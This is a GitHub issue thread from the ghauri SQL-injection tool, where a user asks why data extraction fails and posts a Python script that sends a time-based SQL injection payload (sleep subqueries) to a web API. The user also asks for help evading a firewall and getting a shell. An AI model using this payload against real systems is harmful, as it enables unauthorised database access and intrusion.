Comments (11)
r0oth3x49
commented on July 17, 2024
Currently no support for method forcing so closing this now and later on will reopen once I am free to implement this
from ghauri.
N4m3L3ssh4ck3r
commented on July 17, 2024
And how about the fetching database name??
Why it exploit and still cant fetching database name or anything.
…On Sat, 30 Dec 2023, 10:59 Nasir Khan, ***@***.***> wrote:
Currently no support for method forcing so closing this now and later on
will reopen once I am free to implement this
—
Reply to this email directly, view it on GitHub
<#120 (comment)>,
or unsubscribe
<https://github.com/notifications/unsubscribe-auth/A3AIF65HA5W4PTBU3UVBPJDYL7CW7AVCNFSM6AAAAABBEB4TMCVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQNZSGQ3TQMJQG4>
.
You are receiving this because you authored the thread.Message ID:
***@***.***>
from ghauri.
r0oth3x49
commented on July 17, 2024
The reasons could be firewall, payload not available in payloads list or a false positive. You should always confirm manually and try find a way to exploit manually then you can use sql-shell to automate your queries
from ghauri.
N4m3L3ssh4ck3r
commented on July 17, 2024
I also use the sql shell but nothing happen check this
…On Sat, 30 Dec 2023, 11:10 Nasir Khan, ***@***.***> wrote:
The reasons could be firewall, payload not available in payloads list or a
false positive. You should always confirm manually and try find a way to
exploit manually then you can use sql-shell to automate your queries
—
Reply to this email directly, view it on GitHub
<#120 (comment)>,
or unsubscribe
<https://github.com/notifications/unsubscribe-auth/A3AIF67IGI2D5JO4O3TGCILYL7EAFAVCNFSM6AAAAABBEB4TMCVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQNZSGQ4DAMBRGA>
.
You are receiving this because you authored the thread.Message ID:
***@***.***>
from ghauri.
N4m3L3ssh4ck3r
commented on July 17, 2024
And i confirm the target is vulnerable by writting a script and the target
is sleep in time i give but can you help me either to use this my script to
get database name!? And shell or anything or to evade firewall??
This is my script
import requests
import time
url = "https://target.com/api/games/markets" payload =
"""(select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'"%2B(select(0)from(select(sleep(6)))v)%2B"*/"""
parameters = {'games': payload, 'markets': "46%2C52-2.5%2C43"}
start_time = time.time()
response = requests.get(url, params=parameters) end_time =
time.time()
if end_time - start_time > 6:
print("The server is vulnerable to time-based SQL injection.")
else: print("The
server is not vulnerable to time-based SQL injection.")
…On Sat, 30 Dec 2023, 11:15 rajabu daimu, ***@***.***> wrote:
I also use the sql shell but nothing happen check this
On Sat, 30 Dec 2023, 11:10 Nasir Khan, ***@***.***> wrote:
> The reasons could be firewall, payload not available in payloads list or
> a false positive. You should always confirm manually and try find a way to
> exploit manually then you can use sql-shell to automate your queries
>
> —
> Reply to this email directly, view it on GitHub
> <#120 (comment)>,
> or unsubscribe
> <https://github.com/notifications/unsubscribe-auth/A3AIF67IGI2D5JO4O3TGCILYL7EAFAVCNFSM6AAAAABBEB4TMCVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQNZSGQ4DAMBRGA>
> .
> You are receiving this because you authored the thread.Message ID:
> ***@***.***>
>
from ghauri.
r0oth3x49
commented on July 17, 2024
Is this sort of pentest or a bug bounty target?
from ghauri.
N4m3L3ssh4ck3r
commented on July 17, 2024
Pentest!
…On Sat, 30 Dec 2023, 11:28 Nasir Khan, ***@***.***> wrote:
Is this sort of pentest or a bug bounty target?
—
Reply to this email directly, view it on GitHub
<#120 (comment)>,
or unsubscribe
<https://github.com/notifications/unsubscribe-auth/A3AIF6YOFL4HSLFH2G536G3YL7GBDAVCNFSM6AAAAABBEB4TMCVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQNZSGQ4DENBZGY>
.
You are receiving this because you authored the thread.Message ID:
***@***.***>
from ghauri.
r0oth3x49
commented on July 17, 2024
Email me: [email protected] I will check and let you know of the results
from ghauri.
N4m3L3ssh4ck3r
commented on July 17, 2024
Thanks bro.
Will waiting for your reply
…On Sat, 30 Dec 2023, 15:50 Nasir Khan, ***@***.***> wrote:
Email me: ***@***.*** I will check and let you know of the
results
—
Reply to this email directly, view it on GitHub
<#120 (comment)>,
or unsubscribe
<https://github.com/notifications/unsubscribe-auth/A3AIF67IA6BJX6P5AACEQK3YMAEZ7AVCNFSM6AAAAABBEB4TMCVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQNZSGUZDEMRRGY>
.
You are receiving this because you authored the thread.Message ID:
***@***.***>
from ghauri.
N4m3L3ssh4ck3r
commented on July 17, 2024
Hey am still waiting for your help bro
…On Sat, 30 Dec 2023, 18:55 rajabu daimu, ***@***.***> wrote:
Thanks bro.
Will waiting for your reply
On Sat, 30 Dec 2023, 15:50 Nasir Khan, ***@***.***> wrote:
> Email me: ***@***.*** I will check and let you know of the
> results
>
> —
> Reply to this email directly, view it on GitHub
> <#120 (comment)>,
> or unsubscribe
> <https://github.com/notifications/unsubscribe-auth/A3AIF67IA6BJX6P5AACEQK3YMAEZ7AVCNFSM6AAAAABBEB4TMCVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTQNZSGUZDEMRRGY>
> .
> You are receiving this because you authored the thread.Message ID:
> ***@***.***>
>
from ghauri.
Related Issues (20)
- Add more table extraction payloads on time-based HOT 1
- Cyber security tools
- --prefix doesnt work HOT 3
- -m and --batch option for providing a list of urls to scan HOT 1
- -m and --batch options for list of urls and automatic reply with Y on Ghauri HOT 1
- What is wrong? HOT 2
- When use `--level 3` its start testing all headers and cookies param
- --db support multi dbs
- Ignore Code Feature Request HOT 5
- Timebased Database retrieval use in Between HOT 2
- UnboundLocalError: local variable 'REGEX_MULTIPART_INJECTION' referenced before assignment HOT 2
- TypeError HOT 4
- ghauri asks for user input (y/n) even when I have used --batch argument HOT 4
- Query table name error HOT 1
- sqlite3.OperationalError: disk I/O error | attempt to write a readonly database
- install error! HOT 18
- auto closing script!! HOT 1
- ghauri asks for user input (y/n) even when I have used --batch argument [303 Redirect] HOT 3
- target URL content is not stable even if it's stable HOT 2
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from ghauri.